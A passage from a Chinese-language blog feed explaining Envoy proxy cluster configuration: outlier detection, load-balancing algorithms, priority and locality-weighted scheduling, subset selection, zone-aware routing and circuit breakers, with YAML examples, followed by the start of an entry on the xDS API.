class="string">...</span></span><br><span class="line"> <span class="string">...</span> </span><br><span class="line"> <span class="attr">outlier_detection:</span></span><br><span class="line"><span class="attr">consecutive_5xx:</span> <span class="string">...</span> <span class="comment"># 因连续5xx错误而弹出主机之前允许出现的连续5xx响应或本地原始错误的数量，默认为5；</span></span><br><span class="line"><span class="attr">interval:</span> <span class="string">...</span> <span class="comment"># 弹射分析扫描之间的时间间隔，默认为10000ms或10s；</span></span><br><span class="line"><span class="attr">base_ejection_time:</span> <span class="string">...</span> <span class="comment"># 主机被弹出的基准时长，实际时长等于基准时长乘以主机已经弹出的次数；默认为30000ms或30s；</span></span><br><span class="line"><span class="attr">max_ejection_percent:</span> <span class="string">...</span> <span class="comment"># 因异常探测而允许弹出的上游集群中的主机数量百分比，默认为10%；不过，无论如何，至少要弹出一个主机；</span></span><br><span class="line"><span class="attr">enforcing_consecutive_5xx:</span> <span class="string">...</span> <span class="comment"># 基于连续的5xx检测到主机异常时主机将被弹出的几率，可用于禁止弹出或缓慢弹出；默认为100；</span></span><br><span class="line"><span class="attr">enforcing_success_rate:</span> <span class="string">...</span> <span class="comment"># 基于成功率检测到主机异常时主机将被弹出的几率，可用于禁止弹出或缓慢弹出；默认为100；</span></span><br><span class="line"><span class="attr">success_rate_minimum_hosts:</span> <span class="string">...</span> <span class="comment"># 对集群启动成功率异常检测的最少主机数，默认值为5；</span></span><br><span class="line"><span class="attr">success_rate_request_volume:</span> <span class="string">...</span> <span class="comment"># 在检测的一次时间间隔中必须收集的总请求的最小值，默认值为100；</span></span><br><span class="line"><span class="attr">success_rate_stdev_factor:</span> <span class="string">...</span> <span class="comment"># 用确定成功率异常值弹出的弹射阈值的因子；弹射阈值=均值-(因子*平均成功率标准差)；不过，此处设置的值</span></span><br><span class="line"><span class="string">需要除以1000以得到因子，例如，需要使用1.3为因子时，需要将该参数值设定为1300；</span></span><br><span class="line"><span class="attr">consecutive_gateway_failure:</span> <span class="string">...</span> <span class="comment"># 因连续网关故障而弹出主机的最少连续故障数，默认为5；</span></span><br><span class="line"><span class="attr">enforcing_consecutive_gateway_failure:</span> <span class="string">...</span> <span class="comment"># 基于连续网关故障检测到异常状态时而弹出主机的几率的百分比，默认为0；</span></span><br><span class="line"><span class="attr">split_external_local_origin_errors:</span> <span class="string">...</span> <span class="comment"># 是否区分本地原因而导致的故障和外部故障，默认为false；此项设置为true时，以下三项方能生效；</span></span><br><span class="line"><span class="attr">consecutive_local_origin_failure:</span> <span class="string">...</span> <span class="comment"># 因本地原因的故障而弹出主机的最少故障次数，默认为5；</span></span><br><span class="line"><span class="attr">enforcing_consecutive_local_origin_failure:</span> <span class="string">...</span> <span class="comment"># 基于连续的本地故障检测到异常状态而弹出主机的几率百分比，默认为100；</span></span><br><span class="line"><span class="attr">enforcing_local_origin_success_rate:</span> <span class="string">...</span> <span class="comment"># 基于本地故障检测的成功率统计检测到异常状态而弹出主机的几率，默认为100；</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 示例</span></span><br><span class="line"><span class="comment"># 连续3个5xx时将主机弹出30s</span></span><br><span class="line"><span class="attr">consecutive_5xx:</span> <span class="string">"3"</span> </span><br><span class="line"><span class="attr">base_ejection_time:</span> <span class="string">"30s</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"># 将弹出错误率低于群集平均值1个标准差的任何端点，统计信息每10秒进行一次评估，并且算法不会针对任何在10秒内少于500个请求的主机运行</span></span><br><span class="line"><span class="string">interval: "</span><span class="string">10s"</span></span><br><span class="line"><span class="attr">base_ejection_time:</span> <span class="string">"30s"</span></span><br><span class="line"><span class="attr">success_rate_minimum_hosts:</span> <span class="string">"10"</span></span><br><span class="line"><span class="attr">success_rate_request_volume:</span> <span class="string">"500"</span></span><br><span class="line"><span class="attr">success_rate_stdev_factor:</span> <span class="string">"1000"</span> <span class="comment"># divided by 1000 to get a double</span></span><br></pre></td></tr></table></figure><h3 id="负载均衡"><a href="#负载均衡" class="headerlink" title="负载均衡"></a>负载均衡</h3><p>Envoy提供了几种不同的负载均衡策略，并可大体分为全局负载均衡和分布式负载均衡两类；</p><p>复杂的部署场景可以混合使用两类负载均衡策略，全局负载均衡通过定义高级路由优先级和权重以控制同级别的流量，而分布式负载均衡用于对系统中的微观变动作出反应（例如主动健康检查）；</p><ul><li><p>分布式负载均衡：Envoy自身基于上游主机（区域感知）的位置及健康状态等来确定如何分配负载至相关端点</p><ul><li>主动健康检查</li><li>区域感知路由</li><li>负载均衡算法</li></ul></li><li><p>全局负载均衡：这是一种通过单个具有全局权限的组件来统一决策负载机制，Envoy的控制平面即是该类组件之一，它能够通过指定各种参数来调整应用于各端点的负载</p><ul><li>优先级</li><li>位置权重</li><li>端点权重</li><li>端点健康状态</li></ul></li></ul><h4 id="算法"><a href="#算法" class="headerlink" title="算法"></a>算法</h4><p>加权轮询：ROUND_ROBIN，适用于短链接较多，是默认的算法</p><p>加权LRU：LEAST_REQUEST，适用于长连接较多，随机选取2个健康主机，再从中选择一个连接数最少的主机</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">least_request_lb_config:</span></span><br><span class="line"> <span class="attr">choice_count:</span> <span class="string">"{...}"</span> <span class="comment"># 从健康主机中随机挑选出多少个做为样本进行最少连接数比较；</span></span><br></pre></td></tr></table></figure><p>环哈希：RING_HASH，一致性哈希，根据url、cookie等信息（route指定）调度指定节点进行路由，可以通过虚拟节点来解决哈希偏斜现象</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">ring_hash_lb_config:</span> </span><br><span class="line"> <span class="attr">"minimum_ring_size":</span> <span class="string">"{...}"</span><span class="string">,</span> <span class="comment"># 哈希环的最小值，环越大调度结果越接近权重酷比，默认为1024，最大值为8M</span></span><br><span class="line"> <span class="attr">"hash_function":</span> <span class="string">"..."</span><span class="string">,</span> <span class="comment"># 哈希算法，支持XX_HASH和MURMUR_HASH_2两种，默认为前一种；</span></span><br><span class="line"> <span class="attr">"maximum_ring_size":</span> <span class="string">"{...}"</span> <span class="comment"># 哈希环的最大值，默认为8M；不过，值越大越消耗计算资源</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment"># route字段配置hash属性</span></span><br><span class="line"><span class="attr">route_config:</span> </span><br><span class="line"> <span class="string">...</span> </span><br><span class="line"> <span class="attr">virutal_hosts:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="string">...</span> </span><br><span class="line"> <span class="attr">routes:</span> </span><br><span class="line"> <span class="bullet">-</span> <span class="attr">match:</span> </span><br><span class="line"> <span class="string">...</span> </span><br><span class="line"> <span class="attr">route:</span> </span><br><span class="line"> <span class="attr">cluster:</span> <span class="string">webcluster1</span> </span><br><span class="line"> <span class="attr">hash_policy:</span> <span class="string">[]</span> <span class="comment"># 指定哈希策略列表，每个列表项仅可设置如下header、cookie或connection_properties三者之一；</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">header:</span> <span class="string">{...}</span></span><br><span class="line"><span class="attr">header_name:</span> <span class="string">...</span> <span class="comment"># 要哈希的首部名称</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">cookie:</span> <span class="string">{...}</span></span><br><span class="line"><span class="attr">name:</span> <span class="string">...</span> <span class="comment"># cookie的名称，其值将用于哈希计算，必选项；</span></span><br><span class="line"><span class="attr">ttl:</span> <span class="string">...</span> <span class="comment"># 持续时长，不存在带有ttl的cookie将自动生成该cookie；如果TTL存在且为零，则生成的cookie将是会话cookie</span></span><br><span class="line"><span class="attr">path:</span> <span class="string">...</span> <span class="comment"># cookie的路径；</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">connection_properties:</span> <span class="string">{...}</span></span><br><span class="line"><span class="attr">source_ip:</span> <span class="string">...</span> <span class="comment"># 布尔型值，是否哈希源IP地址；</span></span><br><span class="line"> <span class="attr">terminal:</span> <span class="string">...</span> <span class="comment"># 布尔型值，是否启用哈希算法的短路标志，即一旦当前策略生成哈希值，将不再考虑列表中后续的其它哈希策略</span></span><br></pre></td></tr></table></figure><p>磁悬浮：MAGLEV，环哈希的变种，固定大小为65537，需要各主机映射的节点填满整个环，无论配置的主机和位置权重如何，算法都会尝试确保将每个主机至少映射一 次。环构建算法将每个主机按其权重成比例地放置在环上，直到环完全填满为止；例如，如果主机A的权重为1，主机B的权重为2，则主机A将具有21,846项，而主机B将具有43,691项（总计65,537项）。通常，与环哈希ketama算法相比，Maglev具有显着更快的表查找建立时间以及主机选择时间，但是稳定性略逊色于环哈希。</p><p>随机：RANDOM，如果未配置健康检查策略，则随机负载均衡算法通常比轮询更好，他会从所有健康主机中选择一个主机</p><h3 id="优先级调度"><a href="#优先级调度" class="headerlink" title="优先级调度"></a>优先级调度</h3><p>EDS配置中，属于某个特定位置的一组端点称为LocalityLbEndpoints，它们具有相同的位置（locality）、权重（load_balancing_weight）和优先级（priority）；</p><ul><li>locality：从大到小可由region（地域）、zone（区域）和sub_zone（子区域）进行逐级标识；</li><li>load_balancing_weight：可选参数，用于为每个priority/region/zone/sub_zone配置权重，取值范围[1,n) ；通常，一个locality权重除以具有相同优先级的所有locality的权重之和即为当前locality的流量比例；此配置仅启用了位置加权负载均衡机制时才会生效；</li><li>priority：此LocalityLbEndpoints组的优先级，默认为最高优先级0；</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># endpoint.LocalityLbEndpoints</span></span><br><span class="line"><span class="string">{</span></span><br><span class="line"><span class="attr">"locality":</span> <span class="string">"{...}"</span><span class="string">,</span> </span><br><span class="line"><span class="attr">"lb_endpoints":</span> <span class="string">[],</span> </span><br><span class="line"><span class="attr">"load_balancing_weight":</span> <span class="string">"{...}"</span><span class="string">,</span> </span><br><span class="line"><span class="attr">"priority":</span> <span class="string">"..."</span> </span><br><span class="line"><span class="string">}</span></span><br></pre></td></tr></table></figure><p>Envoy调度时仅挑选最高优先级的一组端点，且仅此优先级的所有端点均不可用时才进行故障转移至下一个优先级的相关端点；</p><ul><li>在最高优先级的端点变得不健康时，流量才会按比例转移至次一个优先级的端点；例如一个优先级中20%的端点不健康时，也将有20%的流量转移至次一个优先级端点；</li><li>超配因子：也可为一组端点设定超配因子，实现部分端点故障时仍将更大比例的流量导向至本组端点；<ul><li>计算公式：转移的流量=100%-健康的端点比例*超供因子；于是，对于1.4的因子来说，20%的故障比例时，所有流量仍将保留在当前组；当健康的端点比例低于72%时，才会有部分流量转移至次优先级端点；</li><li>一个优先级别当前处理流量的能力也称为健康评分（健康主机比例*超配因子，上限为100%）</li></ul></li><li>若各个优先级的健康评分总和（也称为标准化的总健康状态）小于100，则Envoy会认为没有足够的健康端点来分配所有待处理的流量，此时，各级别会根据其健康分值的比例重新分配100%的流量；例如，对于具有{20,30}健康评分的两个组（标准化的总健康状况为50）将被标准化，并导致负载比例为40%和60%；</li></ul><p>另外，优先级调度还支持同一优先级内部的端点降级（DEGRADED）机制，其工作方式类同于在两个不同优先级之间的端点分配流量的机制</p><ul><li>非降级端点健康比例*超配因子大于等于100%时，降级端点不承接流量；</li><li>非降级端点的健康比例*超配因子小于100%时，降级端点承接与100%差额部分的流量；</li></ul><h4 id="恐慌阈值"><a href="#恐慌阈值" class="headerlink" title="恐慌阈值"></a>恐慌阈值</h4><p>调度期间，Envoy仅考虑上游主机列表中的可用（健康或降级）端点，但可用端点的百分比过低时，Envoy将忽略所有端点的健康状态并将流量调度给所有端点，此百分比即为Panic阈值，也称为恐慌阈值，该阈值可以与优先级一同使用。</p><p>给定优先级中的可用端点数量下降时，Envoy会将一些流量转移至较低优先级的端点。若在低优先级中找到的承载所有流量的端点，则忽略恐慌阈值；否则，Envoy会在所有优先级之间分配流量，并在给定的优先级的可用性低于恐慌阈值时将该优先的流量分配至该优先级的所有主机</p><ul><li>默认的Panic阈值为50%；</li><li>Panic阈值用于避免在流量增长时导致主机故障进入级联状态；</li></ul><h5 id="配置-1"><a href="#配置-1" class="headerlink" title="配置"></a>配置</h5><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Cluster.CommonLbConfig{"healthy_panic_threshold": "{...}", # 百分比数值，定义恐慌阈值，默认为50%； "zone_aware_lb_config": "{...}", "locality_weighted_lb_config": "{...}", "update_merge_window": "{...}", "ignore_new_hosts_until_first_hc": "..." }</span></span><br></pre></td></tr></table></figure><h4 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h4><p>基于不同的locality分别定义了两组不同优先级的端点组</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters: - name: webcluster1 connect_timeout: 0.25s type: STRICT_DNS lb_policy: ROUND_ROBIN load_assignment:</span><span class="attr">cluster_name:</span> <span class="string">webcluster1</span><span class="attr">endpoints:</span> <span class="bullet">-</span> <span class="attr">locality:</span><span class="attr">region:</span> <span class="string">cn-north-1</span> <span class="attr">priority:</span> <span class="number">0</span> <span class="attr">lb_endpoints:</span> <span class="bullet">-</span> <span class="attr">endpoint:</span> <span class="attr">address:</span><span class="attr">socket_address:</span> <span class="attr">address:</span> <span class="string">colored</span> <span class="attr">port_value:</span> <span class="number">80</span><span class="bullet">-</span> <span class="attr">locality:</span><span class="attr">region:</span> <span class="string">cn-north-2</span> <span class="attr">priority:</span> <span class="number">1</span> <span class="attr">lb_endpoints:</span> <span class="bullet">-</span> <span class="attr">endpoint:</span> <span class="attr">address:</span><span class="attr">socket_address:</span> <span class="attr">address:</span> <span class="string">myservice</span> <span class="attr">port_value:</span> <span class="number">80</span></span><br></pre></td></tr></table></figure><h3 id="位置加权调度"><a href="#位置加权调度" class="headerlink" title="位置加权调度"></a>位置加权调度</h3><p>位置加权负载均衡（Locality weighted load balancing）即为特定的Locality及相关LbEndpoints组显式赋予权重，并根据此权重比在各Locality之间分配流量；我们之前定义的lb_policy是每个组内的具体endpoints的负载均衡方式，而这里是在其上的一层逻辑概念。</p><ul><li><p>所有Locality的所有Endpoint均可用时，则根据位置权重在各Locality之间进行加权轮询；</p></li><li><p>注意：位置加权负载均衡同区域感知负载均衡互斥，因此，用户仅可在Cluster级别设置locality_weighted_lb_config或zone_aware_lb_config其中之一，以明确指定启用的负载均衡 策略</p></li><li><p>当某Locality的某些Endpoint不可用时，Envoy则按比例动态调整该Locality的权重；</p><ul><li><p>位置加权负载均衡方式也支持为LbEndpoint配置超配因子，默认为1.4；</p></li><li><p>例如，假设位置X和Y分别拥有1和2的权重，则Y的健康端点比例只有50%时，其权重调整为“2×(1.4×0.5)=1.4”，于是流量分配比例变为“1:1.4”；</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">health(L_X) = 140 * healthy_X_backends / total_X_backendseffective_weight(L_X) = locality_weight_X * min(100, health(L_X))load to L_X = effective_weight(L_X) / Σ_c(effective_weight(L_c))</span><br></pre></td></tr></table></figure></li></ul></li><li><p>若同时配置了优先级和权重，负载均衡器将会以如下步骤进行调度</p><ul><li>选择priority；</li><li>从选出的priority中选择locality；</li><li>从选出的locality中选择Endpoint；</li></ul></li></ul><p><img src="/2021/06/08/Envoy-3-cluster/%E4%BD%8D%E7%BD%AE%E5%8A%A0%E6%9D%83.png" alt="位置加权"></p><h4 id="示例-1"><a href="#示例-1" class="headerlink" title="示例"></a>示例</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 该集群定义了两个Locality，cn-north-1和cn-north-2，它们分别具有权重1和2；它们具有相同的优先级0；于是，所有端点都健康时，该集群的流量会以1:2的比例分配至cn-north-1和cnnorth-2假设cn-north-2具有两个端点，且一个端点健康状态检测失败时，则流量分配变更为1:1.4clusters: - name: webcluster1 connect_timeout: 0.25s type: STRICT_DNS lb_policy: ROUND_ROBIN common_lb_config:locality_weighted_lb_config: {} # 启用位置加权负载均衡机制，它没有可用的子参数； load_assignment:cluster_name: webcluster1policy: overprovisioning_factor: 140 # 设置超卖因子endpoints: - locality:region: cn-north-1 priority: 0 load_balancing_weight: 1 # 整数值，定义当前位置或优先级的权重，最小值为1； lb_endpoints: - endpoint: address:socket_address: address: colored port_value: 80- locality:region: cn-north-2 priority: 0 load_balancing_weight: 2 # 整数值，定义当前位置或优先级的权重，最小值为1； lb_endpoints: - endpoint:address: socket_address:address: myserviceport_value: 80</span></span><br></pre></td></tr></table></figure><h3 id="子集选择"><a href="#子集选择" class="headerlink" title="子集选择"></a>子集选择</h3><p>Envoy还支持在一个集群中基于子集实现更细粒度的流量分发</p><ul><li>首先，在集群的上游主机上添加元数据(键值标签)，并使用子集选择器(分类元数据)将上游主机划分为子集；</li><li>而后，在路由配置中指定负载均衡器可以选择的且必须具有匹配的元数据的上游主机，从而实现向特定子集的路由；</li><li>各子集内的主机间的负载均衡采用集群定义的策略(lb_policy)；</li></ul><p>此外，若配置了子集，但路由并未指定元数据或不存在与指定元数据匹配的子集时，则子集均衡均衡器为其应用“回退策略”</p><ul><li>NO_FALLBACK：请求失败，类似集群中不存在任何主机；此为默认策略；</li><li>ANY_ENDPOINT：在所有主机间进行调度，不再考虑主机元数据；</li><li>DEFAULT_SUBSET：调度至默认的子集，该子集需要事先定义；</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># endpoint配置k-v示例，必须要定义在“envoy.lb”过滤器下；# 只有通过EDS或者load_assignment定义的字段才可以定义元数据load_assignment: cluster_name: webcluster1 endpoints: - lb_endpoints: - endpoint:address: socket_address: protocol: TCP address: ep1port_value: 80 metadata:filter_metadata: envoy.lb: version: '1.0' stage: 'prod'# 集群端定义子集clusters: - name ... lb_subset_configfallback_policy: "..." # 回退策略，默认为NO_FALLBACKdefault_subset: "{...}" # 回退策略DEFAULT_SUBSET使用的默认子集；subset_selectors: [] # 子集选择器- keys: [] # 定义一个选择器，指定用于归类主机元数据的键列表； fallback_policy: ... # 当前选择器专用的回退策略；locality_weight_aware: "..." # 是否在将请求路由到子集时考虑端点的位置和位置权重；存在一些潜在的缺陷；scale_locality_weight: "..." # 是否将子集与主机中的主机比率来缩放每个位置的权重；panic_mode_any: "..." # 是否在配置回退策略且其相应的子集无法找到主机时尝试从整个集群中选择主机；list_as_any: "..."# 路由端定义元数据匹配条件routes: - name: ... match: {...} route: {...} # 路由目标，cluster和weighted_clusters只能使用其一；cluster:metadata_match: {...} # 子集负载均衡器使用的端点元数据匹配条件；若使用了weighted_clusters且内部定义了metadat_match，则元数据将被合并，且weighted_cluster中定义的值优先；过滤器名称应指定为envoy.lb； filter_metadata: {...} # 元数据过滤器envoy.lb: {...} key1: value1 key2: value2weighted_clusters: {...} clusters: [] - name: ... weight: ... metadata_match: {...}</span></span><br></pre></td></tr></table></figure><h4 id="示例-2"><a href="#示例-2" class="headerlink" title="示例"></a>示例</h4><p>cluster</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters: - name: webclusters lb_policy: ROUND_ROBIN lb_subset_config:</span><span class="attr">fallback_policy:</span> <span class="string">DEFAULT_SUBSET</span><span class="attr">default_subset:</span> <span class="attr">stage:</span> <span class="string">prod</span> <span class="attr">version:</span> <span class="string">'1.0'</span> <span class="attr">type:</span> <span class="string">std</span><span class="attr">subset_selectors:</span> <span class="bullet">-</span> <span class="attr">keys:</span> <span class="string">[stage,</span> <span class="string">type]</span> <span class="bullet">-</span> <span class="attr">keys:</span> <span class="string">[stage,</span> <span class="string">version]</span> <span class="bullet">-</span> <span class="attr">keys:</span> <span class="string">[version]</span> <span class="bullet">-</span> <span class="attr">keys:</span> <span class="string">[xlarge,</span> <span class="string">version]</span></span><br></pre></td></tr></table></figure><p>router</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">routes: - match:</span> <span class="attr">prefix:</span> <span class="string">"/"</span> <span class="attr">headers:</span> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">x-custom-version</span> <span class="attr">value: pre-release route: cluster: webcluster1 metadata_match: filter_metadata: envoy.lb: version:</span> <span class="number">1.2</span><span class="string">-pre</span> <span class="attr">stage: dev- match:</span> <span class="attr">prefix:</span> <span class="string">"/"</span> <span class="attr">headers:</span> <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">x-hardware-test</span> <span class="attr">value: memory route: cluster: webcluster1 metadata_match: filter_metadata: envoy.lb: type:</span> <span class="string">bigmem</span> <span class="attr">stage: pro- match: prefix:</span> <span class="string">"/"</span> <span class="attr">route: weighted_clusters: clusters: - name: webcluster1 weight: 90 metadata_match: filter_metadata: envoy.lb: version:</span> <span class="string">'1.0'</span> <span class="bullet">-</span> <span class="attr">name: webcluster1 weight: 10 metadata_match: filter_metadata: envoy.lb: version:</span> <span class="string">'1.1'</span> <span class="attr">metadata_match: filter_metadata: envoy.lb: stage:</span> <span class="string">pro</span></span><br></pre></td></tr></table></figure><h3 id="区域感知"><a href="#区域感知" class="headerlink" title="区域感知"></a>区域感知</h3><p>通常，始发集群（客户端）和上游集群（服务端）属于不同区域的部署中，Envoy执行区域感知路由。区域感知路由（zone aware routing）尽可能地向上游集群中的本地区域发送流量，并大致确保将流量均衡分配至上游相关的所有端点；</p><p>它依赖于以下几个先决条件</p><ul><li>始发集群（客户端）和上游集群（服务端）都未处于恐慌模式；</li><li>启用了区域感知路由</li><li>始发集群与上游集群具有相同数量的区域；</li><li>上游集群具有能承载所有请求流量的主机</li></ul><p>Envoy将流量路由到本地区域，还是进行跨区域路由取决于始发集群和上游集群中健康主机的百分比</p><ul><li>始发集群的本地区域百分比大于上游集群中本地区域的百分比：Envoy 计算可以直接路由到上游集群的本地区域的请求的百分比，其余的请求被路由到其它区域；</li><li>始发集群本地区域百分比小于上游集群中的本地区域百分比：可实现所有请求的本地区域路由，并可承载一部分其它区域的跨区域路由</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">common_lb_config: zone_aware_lb_config:</span> <span class="attr">"routing_enabled":</span> <span class="string">"{...}"</span><span class="string">,</span> <span class="comment"># 值类型为百分比，用于配置在多大比例的请求流量上启用区域感知路由机制，默认为100%，；"min_cluster_size": "{...}" # 配置区域感知路由所需的最小上游集群大小，上游集群大小小于指定的值时即使配置了区域感知路由也不会执行 区域感知路由；默认值为6，可用值为64位整数；</span></span><br></pre></td></tr></table></figure><h3 id="熔断"><a href="#熔断" class="headerlink" title="熔断"></a>熔断</h3><p>多级服务调度用场景中，某上游服务因网络故障或服务繁忙无法响应请求时很可能会导致多级上游调用者大规模级联故障，进而导致整个系统不可用，此即为服务的雪崩效应；</p><p>上游服务（被调用者，即服务提供者）因压力过大而变得响应过慢甚至失败时，下游服务（服务消费者）通过暂时切断对上游的请求调用达到牺牲局部，从而保全上游甚至是整体；而在Envoy中，熔断是在网络级别的强制断路，不需要应用做额外操作</p><h4 id="状态"><a href="#状态" class="headerlink" title="状态"></a>状态</h4><p>Open：在固定时间窗口内，检测到的失败指标达到指定的阈值时启动熔断；所有请求会直接失败而不再发往后端端点；</p><p>Half Open：断路器在工作一段时间后自动切换至半打开状态，并根据下一次请求的返回结果判定状态切换</p><p>Closed：一定时长后上游服务可能会变得再次可用，此时下游即可关闭熔断，并再次请求其服务；</p><p><img src="/2021/06/08/Envoy-3-cluster/%E7%86%94%E6%96%AD.png" alt="熔断"></p><h4 id="断路机制"><a href="#断路机制" class="headerlink" title="断路机制"></a>断路机制</h4><p>Envoy支持多种类型的完全分布式断路机制，达到由其定义的阈值时，相应的断路器即会溢出：</p><p>每个断路器都可在每个集群及每个优先级的基础上进行配置和跟踪，它们可分别 拥有各自不同的设定；</p><ul><li>集群最大连接数：Envoy同上游集群建立的最大连接数，仅适用于HTTP/1.1，因为HTTP/2可以链路复用</li><li>集群最大请求数：在给定的时间，集群中的所有主机未完成的最大请求数，仅适用于HTTP/2</li><li>集群可挂起的最大请求数：连接池满载时所允许的等待队列的最大长度；</li><li>集群最大活动并发重试次数：给定时间内集群中所有主机可以执行的最大并发重试次数；</li><li>集群最大并发连接池：可以同时实例化出的最大连接池数量；</li></ul><h4 id="配置-2"><a href="#配置-2" class="headerlink" title="配置"></a>配置</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">clusters: - name: ... ... connect_timeout:</span> <span class="string">...</span> <span class="comment"># TCP连接的超时时长，即主机网络连接超时，合理的设置可以能够改善因调用服务变慢而导致整个链接变慢的情形； max_requests_per_connection: ... # 每个连接可以承载的最大请求数，HTTP/1.1和HTTP/2的连接池均受限于此设置，无设置则无限制，1表示禁用keep-alive ... circuit_breakers: {...} # 熔断相关的配置，可选；threasholds: [] # 适用于特定路由优先级的相关指标及阈值的列表；- priority: ... # 当前断路器适用的路由优先级； max_connections: ... # 可发往上游集群的最大并发连接数，仅适用于HTTP/1，默认为1024；超过指定数量的连接则将其短路； max_pending_requests: ... # 允许请求服务时的可挂起的最大请求数，默认为1024；；超过指定数量的连接则将其短路； max_requests: ... # Envoy可调度给上游集群的最大并发请求数，默认为1024；仅适用于HTTP/2 max_retries: ... # 允许发往上游集群的最大并发重试数量（假设配置了retry_policy），默认为3； track_remaining: ... # 其值为true时表示将公布统计数据以显示断路器打开前所剩余的资源数量；默认为false； max_connection_pools: ... # 每个集群可同时打开的最大连接池数量，默认为无限制 # 显然，将max_connections和最max_pending_requests都设置为 1，表示如果超过了一个连接同时发起请求，Envoy就会熔断，从而阻止后续的请求或连接；</span></span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<h3 id="集群管理器"><a href="#集群管理器" class="headerlink" title="集群管理器"></a>集群管理器</h3><p>Envoy支持同时配置任意数量的上游集群，并基于集群管理器（Cluster Manager）管理它们；Cluster Manager负责为集群管理上游主机的健康状态、负载均衡机制、连接类型及适用协议等，生成集群配置的方式由静态或动态（CDS）两种；</p>
</summary>
<category term="微服务" scheme="http://yoursite.com/categories/%E5%BE%AE%E6%9C%8D%E5%8A%A1/"/>
<category term="Envoy" scheme="http://yoursite.com/tags/Envoy/"/>
</entry>
<entry>
<title>Envoy-2-xDS API</title>
<link href="http://yoursite.com/2021/06/08/Envoy-2-xDS-API/"/>
<id>http://yoursite.com/2021/06/08/Envoy-2-xDS-API/</id>
<published>2021-06-08T14:34:28.000Z</published>
<updated>2021-06-08T14:36:20.538Z</updated>
<content type="html"><![CDATA[<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>Envoy支持基于文件系统或通过查询一到多个管理服务器（Management Server） 来发现各种动态资源（配置信息），这些发现服务及其相应的API联合起来称为 xDS API。</p><p>Envoy可动态配置部分包括LDS、CDS、RDS、EDS、SDS、 HDS(Health Discovery Service)、RLS(Rate Limit Service)和MS（Metric Service）等；</p><a id="more"></a><ul><li>所有这些API都提供了最终的一致性，并且彼此间不存在相互影响；</li><li>部分更高级别的操作（例如执行服务的A/B部署）需要进行排序以防止流量被丢弃，因此，基于一个管理服务器提供多类API时还需要使用聚合发现服务（ADS）API</li><li>ADS API允许所有其他API通过来自单个管理服务器的单个gRPC双向流进行编组，从而允许对操作进行确定性排序，生产上一般使用ADS订阅，确保顺序；</li><li>目前，Envoy支持的资源配置源（ConfigSource）只能是path、api_config_source或ads其中之一，其中api_config_source或ads的数据来自于xDS API Server，即Management Server；</li><li>通过gRPC方式请求配置时，会用到Discovery Request和Discovery Response两种请求报文，用于全量请求配置信息。也会使用DeltaDiscoveryRequest和DeltaDiscoveryResponse报文用于增量配置更新</li></ul><p><img src="/2021/06/08/Envoy-2-xDS-API/xDS.jpg" alt="xDS"></p><h3 id="资源类型"><a href="#资源类型" class="headerlink" title="资源类型"></a>资源类型</h3><p>URL类型采用type.googleapis.com/<resource_type>形式，例如EDS对应于 type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment</resource_type></p><p>LDS: envoy.config.listener.v3.Listener</p><p>RDS: envoy.config.route.v3.RouteConfiguration</p><p>VHDS: envoy.config.route.v3.VirtualHost</p><p>CDS: envoy.config.cluster.v3.Cluster</p><p>EDS: envoy.config.endpoint.v3.ClusterLoadAssignment</p><p>SDS: envoy.extensions.transport_sockets.tls.v3.Secret</p><p>RTDS: envoy.service.runtime.v3.Runtime</p><h3 id="初始化流程"><a href="#初始化流程" class="headerlink" 